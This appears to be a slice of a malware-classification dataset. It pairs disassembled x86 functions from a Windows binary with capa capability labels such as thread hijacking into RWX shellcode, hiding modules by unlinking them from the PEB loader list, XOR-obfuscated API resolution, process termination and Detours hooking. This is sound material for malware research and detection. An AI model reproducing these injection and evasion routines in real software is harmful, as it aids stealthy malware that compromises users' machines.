joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1000fb20
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x38
mov eax, dword [0x10080040]
xor eax, esp
mov dword [esp + 0x34], eax
movaps xmm0, xmmword [0x10078f30]
push esi
mov esi, ecx
mov dword [esp + 0x14], 0x5090344
push edi
movups xmmword [esp + 8], xmm0
mov byte [esp + 0x1c], 0
xor ecx, ecx
mov al, byte [esp + 8]
xor byte [esp + ecx + 9], al
inc ecx
cmp ecx, 0x13
jb 0x1000fb53
mov edx, dword [0x10081f18]
lea ecx, [esp + 9]
mov byte [esp + 0x1c], 0
lea edi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x1000fb73
mov eax, 0x7fffffff
sub ecx, edi
sub eax, edx
cmp eax, ecx
jb 0x1000fc49
cmp dword [0x10081f1c], 0xf
mov eax, 0x10081f08
push ecx
cmova eax, dword [0x10081f08]
lea ecx, [esp + 0xd]
push ecx
push edx
push eax
push ecx
push dword [esp + 0x34]
lea ecx, [esp + 0x3c]
call fcn.1000b2d0
mov eax, dword [esi + 0x1fc]
test eax, eax
je 0x1000fbc5
push eax
call dword [sym.imp.USER32.dll_DestroyIcon]
cmp dword [esp + 0x38], 0xf
lea eax, [esp + 0x24]
push 0x8010
cmova eax, dword [esp + 0x28]
push 0
push 0
push 1
push eax
push 0
call dword [sym.imp.USER32.dll_LoadImageA]
mov dword [esi + 0x1fc], eax
test eax, eax
je 0x1000fc06
cmp byte [esi + 0x200], 0
mov dword [esi + 0x14], eax
je 0x1000fc06
push esi
push 1
call dword [sym.imp.SHELL32.dll_Shell_NotifyIconA]
mov ecx, dword [esp + 0x38]
cmp ecx, 0xf
jbe 0x1000fc38
mov edx, dword [esp + 0x24]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x1000fc2e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x1000fc4e
push ecx
push edx
call fcn.1004a076
add esp, 8
mov ecx, dword [esp + 0x3c]
pop edi
pop esi
xor ecx, esp
call fcn.1004a015
mov esp, ebp
pop ebp
ret
call fcn.10001fd0
call fcn.1004f344
int3
Function at 0x1000fc60
Capabilities:
Allocate or change rwx memory
Create thread
Hijack thread execution
Resume thread
Spawn thread to rwx shellcode
Suspend thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2f8
mov eax, dword [0x10080040]
xor eax, ebp
mov dword [ebp - 4], eax
mov cl, 0x43
mov dword [ebp - 0x2f8], 0x2f371143
mov dword [ebp - 0x2f4], 0x27222c0f
xor eax, eax
mov dword [ebp - 0x2f0], 0x2a313710
mov word [ebp - 0x2ec], 0x242d
mov byte [ebp - 0x2ea], 0
xor byte [ebp + eax - 0x2f7], cl
inc eax
cmp eax, 0xd
jae 0x1000fcba
mov cl, byte [ebp - 0x2f8]
jmp 0x1000fca5
push ebx
mov byte [ebp - 0x2e8], 0x6a
mov al, 4
xor al, byte [ebp - 0x2e8]
mov bl, 6
mov ah, bl
mov byte [ebp - 0x2e7], al
mov al, byte [ebp - 0x2e8]
mov dl, 0xe
mov bh, ah
mov byte [ebp - 0x2d9], ah
mov dh, dl
mov byte [ebp - 0x2de], 0
xor dl, al
mov byte [ebp - 0x2ea], 0
xor bl, al
mov byte [ebp - 0x2e5], dl
xor ah, al
mov byte [ebp - 0x2e4], bl
xor dh, al
mov byte [ebp - 0x2e3], ah
xor bh, al
mov byte [ebp - 0x2e1], dh
mov cl, 0x1e
mov byte [ebp - 0x2e0], bh
xor cl, al
mov byte [ebp - 0x2de], 0
mov ch, 0x44
mov byte [ebp - 0x2e6], cl
xor ch, al
mov al, byte [ebp - 0x2d9]
xor al, byte [ebp - 0x2e8]
mov byte [ebp - 0x2df], al
lea eax, [ebp - 0x2e7]
push esi
push eax
mov byte [ebp - 0x2e2], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x2f7]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov esi, eax
add esi, 0x430
je 0x1000fe32
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push 0x40
push 0x1000
push esi
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
je 0x1000fe32
push 0x2c8
lea eax, [ebp - 0x2d4]
push 0
push eax
call fcn.1004c190
add esp, 0xc
lea eax, [ebp - 0xc]
push eax
push 0
push 0
push esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov esi, eax
test esi, esi
je 0x1000fe32
push esi
call dword [sym.imp.KERNEL32.dll_SuspendThread]
cmp eax, 0xffffffff
je 0x1000fe32
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x2d8], 0x10002
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x1000fe32
lea eax, [ebp - 0x2d8]
mov dword [ebp - 0x228], 0x100018a0
push eax
push esi
mov dword [ebp - 0x2d8], 0x10002
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x1000fe32
push esi
call dword [sym.imp.KERNEL32.dll_ResumeThread]
xor ecx, ecx
cmp eax, 0xffffffff
cmove esi, ecx
mov eax, esi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004a015
mov esp, ebp
pop ebp
ret
mov ecx, dword [ebp - 4]
xor eax, eax
pop esi
xor ecx, ebp
pop ebx
call fcn.1004a015
mov esp, ebp
pop ebp
ret
Function at 0x1000fe50
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c
push ebx
mov byte [ebp - 0x10], 0x33
mov al, 0x5d
xor al, byte [ebp - 0x10]
mov bl, 0x5f
mov ah, bl
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov dl, 0x57
push esi
mov esi, ecx
mov byte [ebp - 1], ah
mov bh, ah
mov byte [ebp - 6], 0
mov dh, dl
mov byte [ebp - 6], 0
xor dl, al
xor bl, al
xor ah, al
mov byte [ebp - 0xd], dl
xor dh, al
mov byte [ebp - 0xb], ah
xor bh, al
mov byte [ebp - 0xc], bl
mov cl, 0x47
mov byte [ebp - 9], dh
xor cl, al
mov byte [ebp - 8], bh
mov ch, 0x1d
mov byte [ebp - 0xe], cl
xor ch, al
mov al, byte [ebp - 1]
xor al, byte [ebp - 0x10]
mov byte [ebp - 7], al
lea eax, [ebp - 0xf]
push edi
push eax
mov byte [ebp - 0xa], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov edx, eax
test edx, edx
je 0x1000ff23
movaps xmm0, xmmword [0x10079300]
xor eax, eax
movups xmmword [ebp - 0x28], xmm0
mov dword [ebp - 0x18], 0x544e7248
mov dword [ebp - 0x14], 0x424743
nop word [eax + eax]
mov cl, byte [ebp - 0x28]
xor byte [ebp + eax - 0x27], cl
inc eax
cmp eax, 0x16
jb 0x1000fee0
lea eax, [ebp - 0x27]
mov byte [ebp - 0x11], 0
push eax
push edx
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov edi, eax
test edi, edi
je 0x1000ff23
test esi, esi
jne 0x1000ff0e
call dword [sym.imp.KERNEL32.dll_GetCurrentThread]
mov esi, eax
push 0
push 0
push 0x11
push esi
call edi
test eax, eax
sete al
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
pop edi
pop esi
xor al, al
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x1000ff30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
mov dword [ebp - 8], ecx
mov dword [ebp - 4], 0
pushal
pushfd
mov eax, dword fs:[0x30]
mov eax, dword [eax + 0xc]
mov dword [ebp - 4], eax
mov esi, dword [eax + 0xc]
mov edx, dword [eax + 0x10]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x18]
cmp ecx, dword [ebp - 8]
jne 0x1000ff6e
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ff72
cmp edx, esi
jne 0x1000ff57
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x14]
mov edx, dword [eax + 0x18]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 0x10]
cmp ecx, dword [ebp - 8]
jne 0x1000ff92
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ff96
cmp edx, esi
jne 0x1000ff7b
mov eax, dword [ebp - 4]
mov esi, dword [eax + 0x1c]
mov edx, dword [eax + 0x20]
lodsd eax, dword [esi]
mov esi, eax
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 8]
jne 0x1000ffb6
mov ebx, dword [eax]
mov ecx, dword [eax + 4]
mov dword [ecx], ebx
mov dword [ebx + 4], ecx
jmp 0x1000ffba
cmp edx, esi
jne 0x1000ff9f
popfd
popal
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x1000ffd0
Capabilities:
Encode data using xor
Enumerate processes
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x154
mov eax, dword [0x10080040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0
push 2
mov edi, ecx
mov dword [ebp - 0x130], 0x128
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
lea eax, [ebp - 0x130]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x1001002c
mov ebx, dword [sym.imp.KERNEL32.dll_Process32Next]
cmp dword [ebp - 0x128], edi
je 0x1001003b
lea eax, [ebp - 0x130]
push eax
push esi
call ebx
test eax, eax
jne 0x10010016
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
push 1
call dword [sym.imp.KERNEL32.dll_ExitProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push edi
push 0
push 0x100000
call dword [sym.imp.KERNEL32.dll_OpenProcess]
test eax, eax
je 0x10010033
push eax
call esi
movaps xmm0, xmmword [0x10078cf0]
xor eax, eax
movups xmmword [ebp - 0x150], xmm0
nop dword [eax]
mov cl, byte [ebp - 0x150]
xor byte [ebp + eax - 0x14f], cl
inc eax
cmp eax, 0xe
jb 0x10010070
mov byte [ebp - 0x140], 0x1f
mov al, 0x71
xor al, byte [ebp - 0x140]
mov bl, 0x73
mov ah, bl
mov byte [ebp - 0x13f], al
mov al, byte [ebp - 0x140]
mov dl, 0x7b
mov bh, ah
mov byte [ebp - 0x131], ah
mov dh, dl
mov byte [ebp - 0x136], 0
xor dl, al
mov byte [ebp - 0x141], 0
xor bl, al
mov byte [ebp - 0x13d], dl
xor ah, al
mov byte [ebp - 0x13c], bl
xor dh, al
mov byte [ebp - 0x13b], ah
xor bh, al
mov byte [ebp - 0x139], dh
mov cl, 0x6b
mov byte [ebp - 0x138], bh
xor cl, al
mov byte [ebp - 0x136], 0
mov ch, 0x31
mov byte [ebp - 0x13e], cl
xor ch, al
mov al, byte [ebp - 0x131]
xor al, byte [ebp - 0x140]
mov byte [ebp - 0x137], al
lea eax, [ebp - 0x13f]
push eax
mov byte [ebp - 0x13a], ch
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
lea ecx, [ebp - 0x14f]
push ecx
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov ecx, 0x116e058
mov ebx, eax
call fcn.1000f390
push eax
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenThread]
mov edi, eax
test edi, edi
je 0x1001016f
lea eax, [ebp - 8]
mov dword [ebp - 8], 0
push eax
push edi
call ebx
test eax, eax
js 0x10010033
cmp dword [ebp - 8], 0
ja 0x10010033
push edi
call esi
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004a015
mov esp, ebp
pop ebp
ret
Function at 0x10010f60
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x14
push ebx
mov byte [ebp - 0x10], 0x6a
mov al, 8
xor al, byte [ebp - 0x10]
mov bl, 0x19
push esi
mov esi, ecx
mov byte [ebp - 0xf], al
mov al, byte [ebp - 0x10]
mov bh, bl
mov dl, 0xb
mov byte [ebp - 7], 0
mov dh, 0x35
mov byte [ebp - 7], 0
mov cl, 9
mov ch, 5
push edi
mov edi, dword [esi]
mov ah, 0xf
xor dl, al
xor bl, al
xor dh, al
mov byte [ebp - 0xe], dl
xor cl, al
mov byte [ebp - 0xb], dh
xor ch, al
mov byte [ebp - 0xa], cl
xor bh, al
mov byte [ebp - 9], ch
xor ah, al
mov byte [ebp - 0xd], bl
sub esp, 0x18
mov byte [ebp - 8], bh
mov ecx, esp
mov byte [ebp - 0xc], ah
xorps xmm0, xmm0
lea edx, [ebp - 0xf]
lea ebx, [edx + 1]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x10010fd4
sub edx, ebx
lea eax, [ebp - 0xf]
push edx
push eax
call fcn.10002130
mov ecx, edi
call fcn.1000f060
add esp, 0x18
mov dword [esi + 4], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x10011008
mov dword [esi + 4], 0
movaps xmm0, xmmword [str.C_7_]
xor ecx, ecx
mov ebx, dword [esi + 4]
movups xmmword [ebp - 0x14], xmm0
mov al, byte [ebp - 0x14]
xor byte [ebp + ecx - 0x13], al
inc ecx
cmp ecx, 0xe
jb 0x10011018
sub esp, 0x18
mov byte [ebp - 5], 0
mov ecx, esp
lea edx, [ebp - 0x13]
xorps xmm0, xmm0
lea edi, [edx + 1]
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
mov al, byte [edx]
inc edx
test al, al
jne 0x10011048
sub edx, edi
lea eax, [ebp - 0x13]
push edx
push eax
call fcn.10002130
mov ecx, ebx
call fcn.1000f060
add esp, 0x18
mov dword [esi + 8], eax
push 4
push eax
call dword [sym.imp.KERNEL32.dll_IsBadReadPtr]
test eax, eax
je 0x1001107c
mov dword [esi + 8], 0
cmp dword [esi + 8], 0
je 0x10011096
cmp dword [0x100853a8], 0
mov ecx, 0x10b78ba
sete dl
call fcn.1000f2f0
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x10040610
Capabilities:
Hash data with md5

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x1006d86d
mov eax, dword fs:[0]
push eax
sub esp, 0x7c
mov eax, dword [0x10080040]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov esi, ecx
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x14], esi
mov dword [ebp - 4], 0
lea eax, [ebp + 8]
cmp dword [ebp + 0x1c], 0xf
lea ecx, [ebp - 0x84]
push dword [ebp + 0x18]
cmova eax, dword [ebp + 8]
push eax
mov byte [ebp - 0x84], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov dword [ebp - 0x38], 0x67452301
mov dword [ebp - 0x34], 0xefcdab89
mov dword [ebp - 0x30], 0x98badcfe
mov dword [ebp - 0x2c], 0x10325476
call fcn.100404a0
cmp byte [ebp - 0x84], 0
jne 0x10040761
xor ecx, ecx
lea edx, [ebp - 0x3f]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x18], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x17], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x16], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x15], al
add ecx, 4
cmp ecx, 8
jb 0x100406a5
mov edx, dword [ebp - 0x40]
mov ecx, 0x78
shr edx, 3
mov eax, 0x38
and edx, 0x3f
sub ecx, edx
sub eax, edx
cmp edx, 0x38
cmovae eax, ecx
lea ecx, [ebp - 0x84]
push eax
push 0x100833c8
call fcn.100404a0
push 8
lea eax, [ebp - 0x18]
push eax
lea ecx, [ebp - 0x84]
call fcn.100404a0
xor ecx, ecx
lea edx, [ebp - 0x37]
movzx eax, byte [edx - 1]
lea edx, [edx + 4]
mov byte [ebp + ecx - 0x28], al
movzx eax, byte [edx - 4]
mov byte [ebp + ecx - 0x27], al
movzx eax, byte [edx - 3]
mov byte [ebp + ecx - 0x26], al
movzx eax, byte [edx - 2]
mov byte [ebp + ecx - 0x25], al
add ecx, 4
cmp ecx, 0x10
jb 0x10040714
push 0x40
lea eax, [ebp - 0x83]
push 0
push eax
call fcn.1004c190
xorps xmm0, xmm0
mov byte [ebp - 0x84], 1
add esp, 0xc
movq qword [ebp - 0x40], xmm0
push esi
lea ecx, [ebp - 0x84]
call fcn.10040550
mov ecx, dword [ebp + 0x1c]
cmp ecx, 0xf
jbe 0x1004079d
mov edx, dword [ebp + 8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x10040793
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x100407b9
push ecx
push edx
call fcn.1004a076
add esp, 8
mov eax, esi
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop esi
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.1004a015
mov esp, ebp
pop ebp
ret
call fcn.1004f344
int3
Function at 0x100415f0
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x54
mov eax, dword [0x10080040]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
push esi
push edi
push 0x100705c0
push 0x64
mov ebx, edx
mov esi, ecx
call fcn.1004b136
mov edi, eax
add esp, 8
test edi, edi
je 0x100417cb
push 0x64
push 0
push edi
call fcn.1004c190
mov byte [edi], 1
lea eax, [edi + 0x34]
xorps xmm0, xmm0
add esp, 0xc
movups xmmword [edi + 0x10], xmm0
movq qword [edi + 0x20], xmm0
mov dword [edi + 0x28], 0
push eax
mov dword [edi + 8], 0
mov dword [edi + 0xc], 0
mov dword [edi + 0x2c], 0xffffffff
mov dword [edi + 4], 2
mov dword [edi + 0x30], 0
call fcn.1006a3a8
add esp, 4
mov dword [0x100b66b4], edi
lea eax, [ebp - 0x48]
xorps xmm0, xmm0
movq qword [edi + 0x5c], xmm0
push 0x20
push eax
push 0xffffffffffffffff
push esi
push 0
push 0xfde9
call dword [sym.imp.KERNEL32.dll_MultiByteToWideChar]
xor edx, edx
lea ecx, [ebp - 0x48]
call fcn.100450b0
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
push 0x10081fc8
call fcn.1006a217
add esp, 4
test eax, eax
jne 0x100417e6
mov eax, dword [0x10081ff4]
cmp eax, 0x7fffffff
je 0x100417ed
test ebx, ebx
je 0x100416e0
movups xmm0, xmmword [ebx]
movups xmmword [0x100b6684], xmm0
movq xmm0, qword [ebx + 0x10]
jmp 0x100416ea
xorps xmm0, xmm0
movups xmmword [0x100b6684], xmm0
movq qword [0x100b6694], xmm0
xorps xmm0, xmm0
push 0x10081fc8
movups xmmword [0x100b669c], xmm0
movq qword [0x100b66ac], xmm0
call fcn.1006a228
add esp, 4
cmp dword [0x100b6680], 0
jne 0x100417d5
mov dword [0x100a64f8], 0x100833b8
test esi, esi
je 0x10041756
cmp byte [esi], 0
mov ecx, 0x100a6508
je 0x10041753
mov edx, 1
sub edx, esi
nop dword [eax]
lea eax, [esi + edx]
cmp eax, 0x40
jae 0x10041753
mov al, byte [esi]
inc esi
mov byte [ecx], al
inc ecx
cmp byte [esi], 0
jne 0x10041740
mov byte [ecx], 0
mov esi, dword [0x100b66b4]
mov al, 1
mov dword [0x100b6680], 0x100a64f8
mov dword [0x100a6500], 0x10041c50
mov dword [0x100a6504], 0x10041c60
xchg byte [esi], al
push 4
call fcn.1004a023
add esp, 4
lea ecx, [ebp - 0x4c]
mov dword [eax], esi
push ecx
push 0
push eax
push 0x10042060
push 0
push 0
call fcn.10058947
mov ecx, eax
add esp, 0x18
mov dword [ebp - 0x50], ecx
test ecx, ecx
je 0x100417ff
cmp dword [esi + 0x60], 0
jne 0x100417fa
mov eax, dword [ebp - 0x4c]
mov dword [esi + 0x5c], ecx
mov dword [esi + 0x60], eax
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004a015
mov esp, ebp
pop ebp
ret
mov dword [0x100b66b4], 0
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004a015
mov esp, ebp
pop ebp
ret
push 5
call fcn.1006a1bf
dec eax
push 6
mov dword [0x10081ff4], eax
call fcn.1006a1bf
call fcn.10058a6c
push 6
mov dword [ebp - 0x4c], 0
call fcn.1006a1bf
int3
Function at 0x10042750
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 8
mov eax, dword [0x10080040]
xor eax, ebp
mov dword [ebp - 4], eax
mov eax, dword [ebp + 8]
push ebx
push esi
mov esi, dword [ebp + 0xc]
push edi
mov edi, dword [0x100b6680]
push esi
push eax
mov dword [edi + 0x154], 1
lea eax, [edi + 0x15c]
lea ebx, [edi + 0x154]
push eax
call fcn.1004bc10
add esp, 0xc
mov dword [edi + 0x158], esi
add esi, 8
je 0x10042822
mov eax, dword [edi]
test eax, eax
je 0x100427d1
mov eax, dword [eax + 4]
cmp eax, 0xffffffff
je 0x100427d1
test ebx, ebx
je 0x100427d1
push 0
lea ecx, [ebp - 8]
mov dword [ebp - 8], 0
push ecx
push esi
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_WriteFile]
cmp eax, 1
jne 0x100427d1
cmp dword [ebp - 8], esi
je 0x10042822
mov ecx, dword [edi + 0xc]
test ecx, ecx
je 0x100427f1
mov eax, dword [edi + 4]
cmp eax, 3
je 0x100427e5
cmp eax, 1
jne 0x100427f1
lea eax, [edi + 0x54]
push eax
push dword [edi + 0x50]
call ecx
add esp, 8
mov esi, dword [edi]
push dword [esi + 4]
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov dword [esi + 4], 0xffffffff
xor al, al
mov byte [esi], 0
mov dword [edi + 4], 0
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 4]
xor ecx, ebp
call fcn.1004a015
mov esp, ebp
pop ebp
ret 8
mov ecx, dword [ebp - 4]
mov al, 1
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.1004a015
mov esp, ebp
pop ebp
ret 8
Function at 0x10047340
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 0xc]
sub eax, 0x10000
push eax
call fcn.10047510
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 8]
jbe 0x1004741d
mov edx, dword [ebp - 4]
cmp edx, dword [0x10080010]
jb 0x1004738a
mov eax, dword [ebp - 4]
cmp eax, dword [0x10080014]
ja 0x1004738a
mov ecx, dword [ebp - 4]
sub ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x1004735a
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1004c190
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x100473af
jmp 0x1004741d
cmp dword [ebp - 0x14], 0x10000
jne 0x10047403
cmp dword [ebp - 0x18], 0x10000
jb 0x10047403
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100473e6
mov eax, dword [ebp - 8]
jmp 0x1004741f
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x100473f6
xor eax, eax
jmp 0x1004741f
mov eax, dword [ebp - 4]
sub eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10047418
mov ecx, dword [ebp - 0x20]
sub ecx, 0x10000
push ecx
call fcn.10047510
add esp, 4
mov dword [ebp - 4], eax
jmp 0x1004735a
xor eax, eax
mov esp, ebp
pop ebp
ret

Function at 0x10047430
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x24
mov eax, dword [ebp + 8]
push eax
call fcn.10047540
add esp, 4
mov dword [ebp - 4], eax
mov ecx, dword [ebp - 4]
cmp ecx, dword [ebp + 0xc]
jae 0x10047505
mov edx, dword [ebp - 4]
cmp edx, dword [0x10080010]
jb 0x10047475
mov eax, dword [ebp - 4]
cmp eax, dword [0x10080014]
ja 0x10047475
mov ecx, dword [ebp - 4]
add ecx, 0x8000000
mov dword [ebp - 4], ecx
jmp 0x10047445
push 0x1c
push 0
lea edx, [ebp - 0x24]
push edx
call fcn.1004c190
add esp, 0xc
push 0x1c
lea eax, [ebp - 0x24]
push eax
mov ecx, dword [ebp - 4]
push ecx
call sub.KERNEL32.dll_VirtualQuery
test eax, eax
jne 0x1004749a
jmp 0x10047505
cmp dword [ebp - 0x14], 0x10000
jne 0x100474ee
cmp dword [ebp - 0x18], 0x10000
jb 0x100474ee
push 0x40
push 0x3000
push 0x10000
mov edx, dword [ebp - 4]
push edx
call sub.KERNEL32.dll_VirtualAlloc
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x100474d1
mov eax, dword [ebp - 8]
jmp 0x10047507
call sub.KERNEL32.dll_GetLastError
cmp eax, 0x677
jne 0x100474e1
xor eax, eax
jmp 0x10047507
mov eax, dword [ebp - 4]
add eax, 0x10000
mov dword [ebp - 4], eax
jmp 0x10047500
mov ecx, dword [ebp - 0x24]
add ecx, dword [ebp - 0x18]
push ecx
call fcn.10047540
add esp, 4
mov dword [ebp - 4], eax
jmp 0x10047445
xor eax, eax
mov esp, ebp
pop ebp
ret
Function at 0x10047570
Capabilities:
Hook routines via microsoft detours

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x18
lea eax, [ebp - 0xc]
push eax
lea ecx, [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10047960
add esp, 0xc
mov dword [ebp - 4], 0
cmp dword [0x10083fb8], 0
jne 0x100475ad
cmp dword [0x10083fb4], 0
je 0x100475ad
mov eax, dword [0x10083fb4]
mov dword [0x10083fb8], eax
cmp dword [0x10083fb8], 0
je 0x1004762a
mov ecx, dword [0x10083fb8]
cmp dword [ecx + 8], 0
je 0x1004762a
mov edx, dword [0x10083fb8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0x10]
jb 0x1004762a
mov ecx, dword [0x10083fb8]
mov edx, dword [ecx + 8]
cmp edx, dword [ebp - 0xc]
ja 0x1004762a
mov eax, dword [0x10083fb8]
mov ecx, dword [eax + 8]
mov dword [ebp - 4], ecx
mov edx, dword [ebp - 4]
cmp edx, dword [ebp - 0x10]
jb 0x100475f9
mov eax, dword [ebp - 4]
cmp eax, dword [ebp - 0xc]
jbe 0x10047600
xor eax, eax
jmp 0x10047749
mov ecx, dword [0x10083fb8]
mov edx, dword [ebp - 4]
mov eax, dword [edx + 0x40]
mov dword [ecx + 8], eax
push 0x48
push 0xcc
mov ecx, dword [ebp - 4]
push ecx
call fcn.1004c190
add esp, 0xc
mov eax, dword [ebp - 4]
jmp 0x10047749
mov edx, dword [0x10083fb4]
mov dword [0x10083fb8], edx
jmp 0x10047646
mov eax, dword [0x10083fb8]
mov ecx, dword [eax + 4]
mov dword [0x10083fb8], ecx
cmp dword [0x10083fb8], 0
je 0x10047686
cmp dword [0x10083fb8], 0
je 0x10047684
mov edx, dword [0x10083fb8]
cmp dword [edx + 8], 0
je 0x10047684
mov eax, dword [0x10083fb8]
mov ecx, dword [eax + 8]
cmp ecx, dword [ebp - 0x10]
jb 0x10047684
mov edx, dword [0x10083fb8]
mov eax, dword [edx + 8]
cmp eax, dword [ebp - 0xc]
ja 0x10047684
jmp 0x100475de
jmp 0x10047638
mov ecx, dword [ebp + 8]
and ecx, 0xffff
mov edx, dword [ebp + 8]
sub edx, ecx
mov dword [ebp + 8], edx
mov eax, dword [ebp - 0xc]
push eax
mov ecx, dword [ebp - 0x10]
push ecx
mov edx, dword [ebp + 8]
push edx
call fcn.10047750
add esp, 0xc
mov dword [ebp - 0x18], eax
cmp dword [ebp - 0x18], 0
je 0x10047747
mov eax, dword [ebp - 0x18]
mov dword [0x10083fb8], eax
mov ecx, dword [0x10083fb8]
mov dword [ecx], 0x52727464
mov edx, dword [0x10083fb8]
mov dword [edx + 8], 0
mov eax, dword [0x10083fb8]
mov ecx, dword [0x10083fb4]
mov dword [eax + 4], ecx
mov edx, dword [0x10083fb8]
mov dword [0x10083fb4], edx
mov dword [ebp - 0x14], 0
mov eax, dword [0x10083fb8]
add eax, 0x48
mov dword [ebp - 4], eax
mov dword [ebp - 8], 0x38c
jmp 0x10047717
mov ecx, dword [ebp - 8]
sub ecx, 1
mov dword [ebp - 8], ecx
cmp dword [ebp - 8], 1
jle 0x10047737
imul edx, dword [ebp - 8], 0x48
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x14]
mov dword [eax + edx + 0x40], ecx
imul edx, dword [ebp - 8], 0x48
add edx, dword [ebp - 4]
mov dword [ebp - 0x14], edx
jmp 0x1004770e
mov eax, dword [0x10083fb8]
mov ecx, dword [ebp - 0x14]
mov dword [eax + 8], ecx
jmp 0x100475de
xor eax, eax
